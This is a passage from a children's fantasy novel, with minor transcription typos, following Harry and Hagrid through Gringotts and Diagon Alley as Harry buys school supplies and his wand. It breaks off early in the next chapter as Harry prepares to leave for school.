though the happy balloon +inside him had got a puncture. + +"Um -- Hagrid?" + +"Mm?" said Hagrid, who was pulling on his huge boots. + +"I haven't got any money -- and you heard Uncle Vernon last night ... he +won't pay for me to go and learn magic." + +"Don't worry about that," said Hagrid, standing up and scratching his +head. "D'yeh think yer parents didn't leave yeh anything?" + +"But if their house was destroyed --" + +"They didn' keep their gold in the house, boy! Nah, first stop fer us is +Gringotts. Wizards' bank. Have a sausage, they're not bad cold -- an' I +wouldn' say no teh a bit o' yer birthday cake, neither." + +"Wizards have banks?" + +"Just the one. Gringotts. Run by goblins." + +Harry dropped the bit of sausage he was holding. + +"Goblins?" + +"Yeah -- so yeh'd be mad ter try an' rob it, I'll tell yeh that. Never +mess with goblins, Harry. Gringotts is the safest place in the world fer +anything yeh want ter keep safe -- 'cept maybe Hogwarts. As a matter o' +fact, I gotta visit Gringotts anyway. Fer Dumbledore. Hogwarts +business." Hagrid drew himself up proudly. "He usually gets me ter do +important stuff fer him. Fetchin' you gettin' things from Gringotts -- +knows he can trust me, see. + +"Got everythin'? Come on, then." + +Harry followed Hagrid out onto the rock. The sky was quite clear now and +the sea gleamed in the sunlight. The boat Uncle Vernon had hired was +still there, with a lot of water in the bottom after the storm. + +"How did you get here?" Harry asked, looking around for another boat. +"Flew," said Hagrid. + +"Flew?" + +"Yeah -- but we'll go back in this. Not s'pposed ter use magic now I've +got yeh." + +They settled down in the boat, Harry still staring at Hagrid, trying to +imagine him flying. + +"Seems a shame ter row, though," said Hagrid, giving Harry another of +his sideways looks. "If I was ter -- er -- speed things up a bit, would +yeh mind not mentionin' it at Hogwarts?" + +"Of course not," said Harry, eager to see more magic. Hagrid pulled out +the pink umbrella again, tapped it twice on the side of the boat, and +they sped off toward land. + +"Why would you be mad to try and rob Gringotts?" Harry asked. + +"Spells -- enchantments," said Hagrid, unfolding his newspaper as he +spoke. "They say there's dragons guardin' the highsecurity vaults. And +then yeh gotta find yer way -- Gringotts is hundreds of miles under +London, see. Deep under the Underground. Yeh'd die of hunger tryin' ter +get out, even if yeh did manage ter get yer hands on summat." + +Harry sat and thought about this while Hagrid read his newspaper, the +Daily Prophet. Harry had learned from Uncle Vernon that people liked to +be left alone while they did this, but it was very difficult, he'd never +had so many questions in his life. + +"Ministry o' Magic messin' things up as usual," Hagrid muttered, turning +the page. + +"There's a Ministry of Magic?" Harry asked, before he could stop +himself. + +"'Course," said Hagrid. "They wanted Dumbledore fer Minister, 0 ' +course, but he'd never leave Hogwarts, so old Cornelius Fudge got the +job. Bungler if ever there was one. So he pelts Dumbledore with owls +every morning, askin' fer advice." + +"But what does a Ministry of Magic do?" + +"Well, their main job is to keep it from the Muggles that there's still +witches an' wizards up an' down the country." + +"Why?" + +"Why? Blimey, Harry, everyone'd be wantin' magic solutions to their +problems. Nah, we're best left alone." + +At this moment the boat bumped gently into the harbor wall. Hagrid +folded up his newspaper, and they clambered up the stone steps onto the +street. + +Passersby stared a lot at Hagrid as they walked through the little town +to the station. Harry couldn't blame them. Not only was Hagrid twice as +tall as anyone else, he kept pointing at perfectly ordinary things like +parking meters and saying loudly, "See that, Harry? Things these Muggles +dream up, eh?" + +"Hagrid," said Harry, panting a bit as he ran to keep up, "did you say +there are dragons at Gringotts?" + +"Well, so they say," said Hagrid. "Crikey, I'd like a dragon." + +"You'd like one?" + +"Wanted one ever since I was a kid -- here we go." + +They had reached the station. There was a train to London in five +minutes' time. Hagrid, who didn't understand "Muggle money," as he +called it, gave the bills to Harry so he could buy their tickets. + +People stared more than ever on the train. Hagrid took up two seats and +sat knitting what looked like a canary-yellow circus tent. + +"Still got yer letter, Harry?" he asked as he counted stitches. Harry +took the parchment envelope out of his pocket. + +"Good," said Hagrid. "There's a list there of everything yeh need." + +Harry unfolded a second piece of paper he hadn't noticed the night +before, and read: + +HOGWARTS SCHOOL of WITCHCRAFT and WIZARDRY + +UNIFORM + +First-year students will require: + +1. Three sets of plain work robes (black) + +2. One plain pointed hat (black) for day wear + +3. One pair of protective gloves (dragon hide or similar) + +4. One winter cloak (black, silver fastenings) + +Please note that all pupils' clothes should carry name tags + +COURSE BOOKS + +All students should have a copy of each of the following: + +The Standard Book of Spells (Grade 1) by Miranda Goshawk + +A History of Magic by Bathilda Bagshot + +Magical Theory by Adalbert Waffling + +A Beginners' Guide to Transfiguration by Emetic Switch + +One Thousand Magical Herbs and Fungi by Phyllida Spore + +Magical Drafts and Potions by Arsenius Jigger + +Fantastic Beasts and Where to Find Them by Newt Scamander + +The Dark Forces: A Guide to Self-Protection by Quentin Trimble + +OTHER EQUIPMENT + +wand cauldron (pewter, standard size 2) set + +glass or crystal phials + +telescope set + +brass scales + +Students may also bring an owl OR a cat OR a toad + +PARENTS ARE REMINDED THAT FIRST YEARS ARE NOT ALLOWED THEIR OWN +BROOMSTICKS + +"Can we buy all this in London?" Harry wondered aloud. + +"If yeh know where to go," said Hagrid. + +Harry had never been to London before. Although Hagrid seemed to know +where he was going, he was obviously not used to getting there in an +ordinary way. He got stuck in the ticket barrier on the Underground, and +complained loudly that the seats were too small and the trains too slow. + +"I don't know how the Muggles manage without magic," he said as they +climbed a broken-down escalator that led up to a bustling road lined +with shops. + +Hagrid was so huge that he parted the crowd easily; all Harry had to do +was keep close behind him. They passed book shops and music stores, +hamburger restaurants and cinemas, but nowhere that looked as if it +could sell you a magic wand. This was just an ordinary street full of +ordinary people. Could there really be piles of wizard gold buried miles +beneath them? Were there really shops that sold spell books and +broomsticks? Might this not all be some huge joke that the Dursleys had +cooked up? If Harry hadn't known that the Dursleys had no sense of +humor, he might have thought so; yet somehow, even though everything +Hagrid had told him so far was unbelievable, Harry couldn't help +trusting him. + +"This is it," said Hagrid, coming to a halt, "the Leaky Cauldron. It's a +famous place." + +It was a tiny, grubby-looking pub. If Hagrid hadn't pointed it out, +Harry wouldn't have noticed it was there. The people hurrying by didn't +glance at it. Their eyes slid from the big book shop on one side to the +record shop on the other as if they couldn't see the Leaky Cauldron at +all. In fact, Harry had the most peculiar feeling that only he and +Hagrid could see it. Before he could mention this, Hagrid had steered +him inside. + +For a famous place, it was very dark and shabby. A few old women were +sitting in a corner, drinking tiny glasses of sherry. One of them was +smoking a long pipe. A little man in a top hat was talking to the old +bartender, who was quite bald and looked like a toothless walnut. The +low buzz of chatter stopped when they walked in. Everyone seemed to know +Hagrid; they waved and smiled at him, and the bartender reached for a +glass, saying, "The usual, Hagrid?" + +"Can't, Tom, I'm on Hogwarts business," said Hagrid, clapping his great +hand on Harry's shoulder and making Harry's knees buckle. + + +"Good Lord," said the bartender, peering at Harry, "is this -- can this +be --?" + + +The Leaky Cauldron had suddenly gone completely still and silent. + +"Bless my soul," whispered the old bartender, "Harry Potter... what an +honor." + +He hurried out from behind the bar, rushed toward Harry and seized his +hand, tears in his eyes. + +"Welcome back, Mr. Potter, welcome back." + +Harry didn't know what to say. Everyone was looking at him. The old +woman with the pipe was puffing on it without realizing it had gone out. +Hagrid was beaming. + +Then there was a great scraping of chairs and the next moment, Harry +found himself shaking hands with everyone in the Leaky Cauldron. + +"Doris Crockford, Mr. Potter, can't believe I'm meeting you at last." + +"So proud, Mr. Potter, I'm just so proud." + +"Always wanted to shake your hand -- I'm all of a flutter." + +"Delighted, Mr. Potter, just can't tell you, Diggle's the name, Dedalus +Diggle." + +"I've seen you before!" said Harry, as Dedalus Diggle's top hat fell off +in his excitement. "You bowed to me once in a shop." + +"He remembers!" cried Dedalus Diggle, looking around at everyone. "Did +you hear that? He remembers me!" Harry shook hands again and again -- +Doris Crockford kept coming back for more. + +A pale young man made his way forward, very nervously. One of his eyes +was twitching. + +"Professor Quirrell!" said Hagrid. "Harry, Professor Quirrell will be +one of your teachers at Hogwarts." + +"P-P-Potter," stammered Professor Quirrell, grasping Harry's hand, +"c-can't t-tell you how p- pleased I am to meet you." + +"What sort of magic do you teach, Professor Quirrell?" + +"D-Defense Against the D-D-Dark Arts," muttered Professor Quirrell, as +though he'd rather not think about it. "N-not that you n-need it, eh, +P-P-Potter?" He laughed nervously. "You'll be g-getting all your +equipment, I suppose? I've g-got to p-pick up a new b-book on vampires, +m-myself." He looked terrified at the very thought. + +But the others wouldn't let Professor Quirrell keep Harry to himself. It +took almost ten minutes to get away from them all. At last, Hagrid +managed to make himself heard over the babble. + +"Must get on -- lots ter buy. Come on, Harry." + +Doris Crockford shook Harry's hand one last time, and Hagrid led them +through the bar and out into a small, walled courtyard, where there was +nothing but a trash can and a few weeds. + +Hagrid grinned at Harry. + +"Told yeh, didn't I? Told yeh you was famous. Even Professor Quirrell +was tremblin' ter meet yeh -- mind you, he's usually tremblin'." + +"Is he always that nervous?" + +"Oh, yeah. Poor bloke. Brilliant mind. He was fine while he was + +studyin' outta books but then he took a year off ter get some firsthand +experience.... They say he met vampires in the Black Forest, and there +was a nasty bit o' trouble with a hag -- never been the same since. +Scared of the students, scared of his own subject now, where's me +umbrella?" + +Vampires? Hags? Harry's head was swimming. Hagrid, meanwhile, was +counting bricks in the wall above the trash can. + +"Three up... two across he muttered. "Right, stand back, Harry." + +He tapped the wall three times with the point of his umbrella. + +The brick he had touched quivered -- it wriggled -- in the middle, a +small hole appeared -- it grew wider and wider -- a second later they +were facing an archway large enough even for Hagrid, an archway onto a +cobbled street that twisted and turned out of sight. + +"Welcome," said Hagrid, "to Diagon Alley." + +He grinned at Harry's amazement. They stepped through the archway. Harry +looked quickly over his shoulder and saw the archway shrink instantly +back into solid wall. + +The sun shone brightly on a stack of cauldrons outside the nearest shop. +Cauldrons -- All Sizes - Copper, Brass, Pewter, Silver -- Self-Stirring +-- Collapsible, said a sign hanging over them. + +"Yeah, you'll be needin' one," said Hagrid, "but we gotta get yer money +first." + +Harry wished he had about eight more eyes. He turned his head in every +direction as they walked up the street, trying to look at everything at +once: the shops, the things outside them, the people doing their +shopping. A plump woman outside an Apothecary was shaking her head as +they passed, saying, "Dragon liver, seventeen Sickles an ounce, they're +mad...." + +A low, soft hooting came from a dark shop with a sign saying Eeylops Owl +Emporium -- Tawny, Screech, Barn, Brown, and Snowy. Several boys of +about Harry's age had their noses pressed against a window with +broomsticks in it. "Look," Harry heard one of them say, "the new Nimbus +Two Thousand -- fastest ever --" There were shops selling robes, shops +selling telescopes and strange silver instruments Harry had never seen +before, windows stacked with barrels of bat spleens and eels' eyes, +tottering piles of spell books, quills, and rolls of parchment, potion +bottles, globes of the moon.... + +"Gringotts," said Hagrid. + +They had reached a snowy white building that towered over the other +little shops. Standing beside its burnished bronze doors, wearing a +uniform of scarlet and gold, was - + +"Yeah, that's a goblin," said Hagrid quietly as they walked up the white +stone steps toward him. The goblin was about a head shorter than Harry. +He had a swarthy, clever face, a pointed beard and, Harry noticed, very +long fingers and feet. He bowed as they walked inside. Now they were +facing a second pair of doors, silver this time, with words engraved +upon them: + +Enter, stranger, but take heed + +Of what awaits the sin of greed, + +For those who take, but do not earn, + +Must pay most dearly in their turn. + +So if you seek beneath our floors + +A treasure that was never yours, + +Thief, you have been warned, beware + +Of finding more than treasure there. + +"Like I said, Yeh'd be mad ter try an' rob it," said Hagrid. + +A pair of goblins bowed them through the silver doors and they were in a +vast marble hall. About a hundred more goblins were sitting on high +stools behind a long counter, scribbling in large ledgers, weighing +coins in brass scales, examining precious stones through eyeglasses. +There were too many doors to count leading off the hall, and yet more +goblins were showing people in and out of these. Hagrid and Harry made +for the counter. + +"Morning," said Hagrid to a free goblin. "We've come ter take some money +outta Mr. Harry Potter's safe." + +"You have his key, Sir?" + +"Got it here somewhere," said Hagrid, and he started emptying his +pockets onto the counter, scattering a handful of moldy dog biscuits +over the goblin's book of numbers. The goblin wrinkled his nose. Harry +watched the goblin on their right weighing a pile of rubies as big as +glowing coals. + +"Got it," said Hagrid at last, holding up a tiny golden key. + +The goblin looked at it closely. + +"That seems to be in order." + +"An' I've also got a letter here from Professor Dumbledore," said Hagrid +importantly, throwing out his chest. "It's about the YouKnow-What in +vault seven hundred and thirteen." + +The goblin read the letter carefully. + +"Very well," he said, handing it back to Hagrid, "I will have Someone +take you down to both vaults. Griphook!" + +Griphook was yet another goblin. Once Hagrid had crammed all the dog +biscuits back inside his pockets, he and Harry followed Griphook toward +one of the doors leading off the hall. + +"What's the You-Know-What in vault seven hundred and thirteen?" Harry +asked. + +"Can't tell yeh that," said Hagrid mysteriously. "Very secret. Hogwarts +business. Dumbledore's trusted me. More'n my job's worth ter tell yeh +that." + +Griphook held the door open for them. Harry, who had expected more +marble, was surprised. They were in a narrow stone passageway lit with +flaming torches. It sloped steeply downward and there were little +railway tracks on the floor. Griphook whistled and a small cart came +hurtling up the tracks toward them. They climbed in -- Hagrid with some +difficulty -- and were off. + +At first they just hurtled through a maze of twisting passages. Harry +tried to remember, left, right, right, left, middle fork, right, left, +but it was impossible. The rattling cart seemed to know its own way, +because Griphook wasn't steering. + +Harry's eyes stung as the cold air rushed past them, but he kept them +wide open. Once, he thought he saw a burst of fire at the end of a +passage and twisted around to see if it was a dragon, but too late - - +they plunged even deeper, passing an underground lake where huge +stalactites and stalagmites grew from the ceiling and floor. + +I never know," Harry called to Hagrid over the noise of the cart, +"what's the difference between a stalagmite and a stalactite?" + +"Stalagmite's got an 'm' in it," said Hagrid. "An' don' ask me questions +just now, I think I'm gonna be sick." + +He did look very green, and when the cart stopped at last beside a small +door in the passage wall, Hagrid got out and had to lean against the +wall to stop his knees from trembling. + +Griphook unlocked the door. A lot of green smoke came billowing out, and +as it cleared, Harry gasped. Inside were mounds of gold coins. Columns +of silver. Heaps of little bronze Knuts. + +"All yours," smiled Hagrid. + +All Harry's -- it was incredible. The Dursleys couldn't have known about +this or they'd have had it from him faster than blinking. How often had +they complained how much Harry cost them to keep? And all the time there +had been a small fortune belonging to him, buried deep under London. + +Hagrid helped Harry pile some of it into a bag. + +"The gold ones are Galleons," he explained. "Seventeen silver Sickles to +a Galleon and twenty-nine Knuts to a Sickle, it's easy enough. Right, +that should be enough fer a couple o' terms, we'll keep the rest safe +for yeh." He turned to Griphook. "Vault seven hundred and thirteen now, +please, and can we go more slowly?" + +"One speed only," said Griphook. + +They were going even deeper now and gathering speed. The air became +colder and colder as they hurtled round tight corners. They went +rattling over an underground ravine, and Harry leaned over the side to +try to see what was down at the dark bottom, but Hagrid groaned and +pulled him back by the scruff of his neck. + +Vault seven hundred and thirteen had no keyhole. + +"Stand back," said Griphook importantly. He stroked the door gently with +one of his long fingers and it simply melted away. + +"If anyone but a Gringotts goblin tried that, they'd be sucked through +the door and trapped in there," said Griphook. + +"How often do you check to see if anyone's inside?" Harry asked. + +"About once every ten years," said Griphook with a rather nasty grin. + +Something really extraordinary had to be inside this top security vault, +Harry was sure, and he leaned forward eagerly, expecting to see fabulous +jewels at the very least -- but at first he thought it was empty. Then +he noticed a grubby little package wrapped up in brown paper lying on +the floor. Hagrid picked it up and tucked it deep inside his coat. Harry +longed to know what it was, but knew better than to ask. + +"Come on, back in this infernal cart, and don't talk to me on the way +back, it's best if I keep me mouth shut," said Hagrid. + +One wild cart ride later they stood blinking in the sunlight outside +Gringotts. Harry didn't know where to run first now that he had a bag +full of money. He didn't have to know how many Galleons there were to a +pound to know that he was holding more money than he'd had in his whole +life -- more money than even Dudley had ever had. + +"Might as well get yer uniform," said Hagrid, nodding toward Madam +Malkin's Robes for All Occasions. "Listen, Harry, would yeh mind if I +slipped off fer a pick-me-up in the Leaky Cauldron? I hate them +Gringotts carts." He did still look a bit sick, so Harry entered Madam +Malkin's shop alone, feeling nervous. + +Madam Malkin was a squat, smiling witch dressed all in mauve. + +"Hogwarts, clear?" she said, when Harry started to speak. "Got the lot +here -- another young man being fitted up just now, in fact. " + +In the back of the shop, a boy with a pale, pointed face was standing on +a footstool while a second witch pinned up his long black robes. Madam +Malkin stood Harry on a stool next to him) slipped a long robe over his +head, and began to pin it to the right length. + +"Hello," said the boy, "Hogwarts, too?" + +"Yes," said Harry. + +"My father's next door buying my books and mother's up the street +looking at wands," said the boy. He had a bored, drawling voice. "Then +I'm going to drag them off to took at racing brooms. I don't see why +first years can't have their own. I think I'll bully father into getting +me one and I'll smuggle it in somehow." + +Harry was strongly reminded of Dudley. + +"Have you got your own broom?" the boy went on. + +"No," said Harry. + +"Play Quidditch at all?" + +"No," Harry said again, wondering what on earth Quidditch could be. + +"I do -- Father says it's a crime if I'm not picked to play for my +house, and I must say, I agree. Know what house you'll be in yet?" + +"No," said Harry, feeling more stupid by the minute. + +"Well, no one really knows until they get there, do they, but I know +I'll be in Slytherin, all our family have been -- imagine being in +Hufflepuff, I think I'd leave, wouldn't you?" "Mmm," said Harry, wishing +he could say something a bit more interesting. + +"I say, look at that man!" said the boy suddenly, nodding toward the +front window. Hagrid was standing there, grinning at Harry and pointing +at two large ice creams to show he couldn't come in. + +"That's Hagrid," said Harry, pleased to know something the boy didn't. +"He works at Hogwarts." + +"Oh," said the boy, "I've heard of him. He's a sort of servant, isn't +he?" + +"He's the gamekeeper," said Harry. He was liking the boy less and less +every second. + +"Yes, exactly. I heard he's a sort of savage -- lives in a hut on the +school grounds and every now and then he gets drunk, tries to do magic, +and ends up setting fire to his bed." + +"I think he's brilliant," said Harry coldly. + +"Do you?" said the boy, with a slight sneer. "Why is he with you? Where +are your parents?" + +"They're dead," said Harry shortly. He didn't feel much like going into +the matter with this boy. + +"Oh, sorry," said the other,. not sounding sorry at all. "But they were +our kind, weren't they?" + +"They were a witch and wizard, if that's what you mean." + +"I really don't think they should let the other sort in, do you? They're +just not the same, they've never been brought up to know our ways. Some +of them have never even heard of Hogwarts until they get the letter, +imagine. I think they should keep it in the old wizarding families. +What's your surname, anyway?" + +But before Harry could answer, Madam Malkin said, "That's you done, my +dear," and Harry, not sorry for an excuse to stop talking to the boy, +hopped down from the footstool. + +"Well, I'll see you at Hogwarts, I suppose," said the drawling boy. + +Harry was rather quiet as he ate the ice cream Hagrid had bought him +(chocolate and raspberry with chopped nuts). + +"What's up?" said Hagrid. + +"Nothing," Harry lied. They stopped to buy parchment and quills. Harry +cheered up a bit when he found a bottle of ink that changed color as you +wrote. When they had left the shop, he said, "Hagrid, what's Quidditch?" + +"Blimey, Harry, I keep forgettin' how little yeh know -- not knowin' +about Quidditch!" + +"Don't make me feel worse," said Harry. He told Hagrid about the pate +boy in Madam Malkin's. + +"--and he said people from Muggle families shouldn't even be allowed +in." + +"Yer not from a Muggle family. If he'd known who yeh were -- he's grown +up knowin' yer name if his parents are wizardin' folk. You saw what +everyone in the Leaky Cauldron was like when they saw yeh. Anyway, what +does he know about it, some o' the best I ever saw were the only ones +with magic in 'em in a long line 0' Muggles -- look at yer mum! Look +what she had fer a sister!" + +"So what is Quidditch?" + +"It's our sport. Wizard sport. It's like -- like soccer in the Muggle +world -- everyone follows Quidditch -- played up in the air on +broomsticks and there's four balls -- sorta hard ter explain the rules." +"And what are Slytherin and Hufflepuff?" + +"School houses. There's four. Everyone says Hufflepuff are a lot o' +duffers, but --" + +"I bet I'm in Hufflepuff" said Harry gloomily. + +"Better Hufflepuff than Slytherin," said Hagrid darkly. "There's not a +single witch or wizard who went bad who wasn't in Slytherin. +You-Know-Who was one." + +"Vol-, sorry - You-Know-Who was at Hogwarts?" + +"Years an' years ago," said Hagrid. + +They bought Harry's school books in a shop called Flourish and Blotts +where the shelves were stacked to the ceiling with books as large as +paving stones bound in leather; books the size of postage stamps in +covers of silk; books full of peculiar symbols and a few books with +nothing in them at all. Even Dudley, who never read anything, would have +been wild to get his hands on some of these. Hagrid almost had to drag +Harry away from Curses and Countercurses (Bewitch Your Friends and +Befuddle Your Enemies with the Latest Revenges: Hair Loss, Jelly-Legs, +Tongue- Tying and Much, Much More) by Professor Vindictus Viridian. + +"I was trying to find out how to curse Dudley." + +"I'm not sayin' that's not a good idea, but yer not ter use magic in the +Muggle world except in very special circumstances," said Hagrid. "An' +anyway, yeh couldn' work any of them curses yet, yeh'll need a lot more +study before yeh get ter that level." + +Hagrid wouldn't let Harry buy a solid gold cauldron, either ("It says +pewter on yer list"), but they got a nice set of scales for weighing +potion ingredients and a collapsible brass telescope. Then they visited +the Apothecary, which was fascinating enough to make up for its horrible +smell, a mixture of bad eggs and rotted cabbages. Barrels of slimy stuff +stood on the floor; jars of herbs, dried roots, and bright powders lined +the walls; bundles of feathers, strings of fangs, and snarled claws hung +from the ceiling. While Hagrid asked the man behind the counter for a +supply of some basic potion ingredients for Harry, Harry himself +examined silver unicorn horns at twenty-one Galleons each and minuscule, +glittery-black beetle eyes (five Knuts a scoop). + +Outside the Apothecary, Hagrid checked Harry's list again. + +"Just yer wand left - A yeah, an' I still haven't got yeh a birthday +present." + +Harry felt himself go red. + +"You don't have to --" + +"I know I don't have to. Tell yeh what, I'll get yer animal. Not a toad, +toads went outta fashion years ago, yeh'd be laughed at - an' I don' +like cats, they make me sneeze. I'll get yer an owl. All the kids want +owls, they're dead useful, carry yer mail an' everythin'." + +Twenty minutes later, they left Eeylops Owl Emporium, which had been +dark and full of rustling and flickering, jewel-bright eyes. Harry now +carried a large cage that held a beautiful snowy owl, fast asleep with +her head under her wing. He couldn't stop stammering his thanks, +sounding just like Professor Quirrell. + +"Don' mention it," said Hagrid gruffly. "Don' expect you've had a lotta +presents from them Dursleys. Just Ollivanders left now - only place fer +wands, Ollivanders, and yeh gotta have the best wand." + +A magic wand... this was what Harry had been really looking forward to. + +The last shop was narrow and shabby. Peeling gold letters over the door +read Ollivanders: Makers of Fine Wands since 382 B.C. A single wand lay +on a faded purple cushion in the dusty window. + +A tinkling bell rang somewhere in the depths of the shop as they stepped +inside. It was a tiny place, empty except for a single, spindly chair +that Hagrid sat on to wait. Harry felt strangely as though he had +entered a very strict library; he swallowed a lot of new questions that +had just occurred to him and looked instead at the thousands of narrow +boxes piled neatly right up to the ceiling. For some reason, the back of +his neck prickled. The very dust and silence in here seemed to tingle +with some secret magic. + +"Good afternoon," said a soft voice. Harry jumped. Hagrid must have +jumped, too, because there was a loud crunching noise and he got quickly +off the spindly chair. + +An old man was standing before them, his wide, pale eyes shining like +moons through the gloom of the shop. + +"Hello," said Harry awkwardly. + +"Ah yes," said the man. "Yes, yes. I thought I'd be seeing you soon. +Harry Potter." It wasn't a question. "You have your mother's eyes. It +seems only yesterday she was in here herself, buying her first wand. Ten +and a quarter inches long, swishy, made of willow. Nice wand for charm +work." + +Mr. Ollivander moved closer to Harry. Harry wished he would blink. Those +silvery eyes were a bit creepy. + +"Your father, on the other hand, favored a mahogany wand. Eleven inches. +Pliable. A little more power and excellent for transfiguration. Well, I +say your father favored it -- it's really the wand that chooses the +wizard, of course." + +Mr. Ollivander had come so close that he and Harry were almost nose to +nose. Harry could see himself reflected in those misty eyes. + +"And that's where..." + +Mr. Ollivander touched the lightning scar on Harry's forehead with a +long, white finger. + +"I'm sorry to say I sold the wand that did it," he said softly. +"Thirteen-and-a-half inches. Yew. Powerful wand, very powerful, and in +the wrong hands... well, if I'd known what that wand was going out into +the world to do...." + +He shook his head and then, to Harry's relief, spotted Hagrid. + +"Rubeus! Rubeus Hagrid! How nice to see you again.... Oak, sixteen +inches, rather bendy, wasn't it?" + +"It was, sir, yes," said Hagrid. + +"Good wand, that one. But I suppose they snapped it in half when you got +expelled?" said Mr. Ollivander, suddenly stern. + +"Er -- yes, they did, yes," said Hagrid, shuffling his feet. "I've still +got the pieces, though," he added brightly. + +"But you don't use them?" said Mr. Ollivander sharply. + +"Oh, no, sit," said Hagrid quickly. Harry noticed he gripped his pink +umbrella very tightly as he spoke. + +"Hmmm," said Mr. Ollivander, giving Hagrid a piercing look. "Well, now +-- Mr. Potter. Let me see." He pulled a long tape measure with silver +markings out of his pocket. "Which is your wand arm?" + +"Er -- well, I'm right-handed," said Harry. + +"Hold out your arm. That's it." He measured Harry from shoulder to +finger, then wrist to elbow, shoulder to floor, knee to armpit and round +his head. As he measured, he said, "Every Ollivander wand has a core of +a powerful magical substance, Mr. Potter. We use unicorn hairs, phoenix +tail feathers, and the heartstrings of dragons. No two Ollivander wands +are the same, just as no two unicorns, dragons, or phoenixes are quite +the same. And of course, you will never get such good results with +another wizard's wand." + +Harry suddenly realized that the tape measure, which was measuring +between his nostrils, was doing this on its own. Mr. Ollivander was +flitting around the shelves, taking down boxes. + +"That will do," he said, and the tape measure crumpled into a heap on +the floor. "Right then, Mr. Potter. Try this one. Beechwood and dragon +heartstring. Nine inches. Nice and flexible. just take it and give it a +wave." + +Harry took the wand and (feeling foolish) waved it around a bit, but Mr. +Ollivander snatched it out of his hand almost at once. + +"Maple and phoenix feather. Seven inches. Quite whippy. Try --" + +Harry tried -- but he had hardly raised the wand when it, too, was +snatched back by Mr. Ollivander. + +"No, no -here, ebony and unicorn hair, eight and a half inches, springy. +Go on, go on, try it out." + +Harry tried. And tried. He had no idea what Mr. Ollivander was waiting +for. The pile of tried wands was mounting higher and higher on the +spindly chair, but the more wands Mr. Ollivander pulled from the +shelves, the happier he seemed to become. + +"Tricky customer, eh? Not to worry, we'll find the perfect match here +somewhere -- I wonder, now - - yes, why not -- unusual combination -- +holly and phoenix feather, eleven inches, nice and supple." + +Harry took the wand. He felt a sudden warmth in his fingers. He raised +the wand above his head, brought it swishing down through the dusty air +and a stream of red and gold sparks shot from the end like a firework, +throwing dancing spots of light on to the walls. Hagrid whooped and +clapped and Mr. Ollivander cried, "Oh, bravo! Yes, indeed, oh, very +good. Well, well, well... how curious... how very curious... " + +He put Harry's wand back into its box and wrapped it in brown paper, +still muttering, "Curious... curious.. + +"Sorry," said Harry, "but what's curious?" + +Mr. Ollivander fixed Harry with his pale stare. + +"I remember every wand I've ever sold, Mr. Potter. Every single wand. It +so happens that the phoenix whose tail feather is in your wand, gave +another feather -- just one other. It is very curious indeed that you +should be destined for this wand when its brother why, its brother gave +you that scar." + +Harry swallowed. + +"Yes, thirteen-and-a-half inches. Yew. Curious indeed how these things +happen. The wand chooses the wizard, remember.... I think we must expect +great things from you, Mr. Potter.... After all, He- +Who-Must-Not-Be-Named did great things -- terrible, yes, but great." + +Harry shivered. He wasn't sure he liked Mr. Ollivander too much. He paid +seven gold Galleons for his wand, and Mr. Ollivander bowed them from his +shop. + +The late afternoon sun hung low in the sky as Harry and Hagrid made +their way back down Diagon Alley, back through the wall, back through +the Leaky Cauldron, now empty. Harry didn't speak at all as they walked +down the road; he didn't even notice how much people were gawking at +them on the Underground, laden as they were with all their funny-shaped +packages, with the snowy owl asleep in its cage on Harry's lap. Up +another escalator, out into Paddington station; Harry only realized +where they were when Hagrid tapped him on the shoulder. + +"Got time fer a bite to eat before yer train leaves," he said. + +He bought Harry a hamburger and they sat down on plastic seats to eat +them. Harry kept looking around. Everything looked so strange, somehow. + +"You all right, Harry? Yer very quiet," said Hagrid. + +Harry wasn't sure he could explain. He'd just had the best birthday of +his life -- and yet -- he chewed his hamburger, trying to find the +words. + +"Everyone thinks I'm special," he said at last. "All those people in the +Leaky Cauldron, Professor Quirrell, Mr. Ollivander... but I don't know +anything about magic at all. How can they expect great things? I'm +famous and I can't even remember what I'm famous for. I don't know what +happened when Vol-, sorry -- I mean, the night my parents died." + +Hagrid leaned across the table. Behind the wild beard and eyebrows he +wore a very kind smile. + +"Don' you worry, Harry. You'll learn fast enough. Everyone starts at the +beginning at Hogwarts, you'll be just fine. just be yerself. I know it's +hard. Yeh've been singled out, an' that's always hard. But yeh'll have a +great time at Hogwarts -- I did -- still do, 'smatter of fact." + +Hagrid helped Harry on to the train that would take him back to the +Dursleys, then handed him an envelope. + +"Yer ticket fer Hogwarts, " he said. "First o' September -- King's Cross +-- it's all on yer ticket. Any problems with the Dursleys, send me a +letter with yer owl, she'll know where to find me.... See yeh soon, +Harry." + +The train pulled out of the station. Harry wanted to watch Hagrid until +he was out of sight; he rose in his seat and pressed his nose against +the window, but he blinked and Hagrid had gone. + + +CHAPTER SIX + +THE JOURNEY FROM PLATFORM NINE AND THREE-QUARTERS + +Harry's last month with the Dursleys wasn't fun. True, Dudley was now so +scared of Harry he wouldn't stay in the same room, while Aunt Petunia +and Uncle Vernon didn't shut Harry in his cupboard, force him to do +anything, or shout at him -- in fact, they didn't speak to him at all. +Half terrified, half furious, they acted as though any chair with Harry +in it were empty. Although this was an improvement in many ways, it did +become a bit depressing after a while. + +Harry kept to his room, with his new owl for company. He had decided to +call her Hedwig, a name he had found in A History of Magic. His school +books were very interesting. He lay on his bed reading late into the +night, Hedwig swooping in and out of the open window as she pleased. It +was lucky that Aunt Petunia didn't come in to vacuum anymore, because +Hedwig kept bringing back dead mice. Every night before he went to +sleep, Harry ticked off another day on the piece of paper he had pinned +to the wall, counting down to September the first. + +On the last day of August he thought he'd better speak to his aunt and +uncle about getting to King's Cross station the next day, so he went +down to the living room where they were watching a quiz show on +television. He cleared his throat to let them know he was there, and +Dudley screamed and ran from the room. + +"Er -- Uncle Vernon?" + +Uncle Vernon grunted to show he was listening. + +"Er -- I need to be at King's Cross tomorrow to -- to go to Hogwarts." + +Uncle Vernon grunted again. + +"Would it be all right if you gave me a lift?" + +Grunt. Harry supposed that meant yes. + +"Thank you." + +He was about to go back upstairs when Uncle Vernon actually spoke. + +"Funny way to get to a wizards' school, the train. Magic carpets all got +punctures, have they?" + +Harry didn't say anything. + +"Where is this school, anyway?" + +"I don't know," said Harry, realizing this for the first time. He pulled +the ticket Hagrid had given him out of his pocket. + +"I just take the train from platform nine and three-quarters at eleven +o'clock," he read. + +His aunt and uncle stared. + +"Platform what?" + +"Nine and three-quarters." + +"Don't talk rubbish," said Uncle Vernon. "There is no platform nine and +three-quarters." + +"It's on my ticket." + +"Barking," said Uncle Vernon, "howling mad, the lot of them. You'll see. +You just wait. All right, we'll take you to King's Cross. We're going up +to London tomorrow anyway, or I wouldn't bother." + +"Why are you going to London?" Harry asked, trying to keep things +friendly. + +"Taking Dudley to the 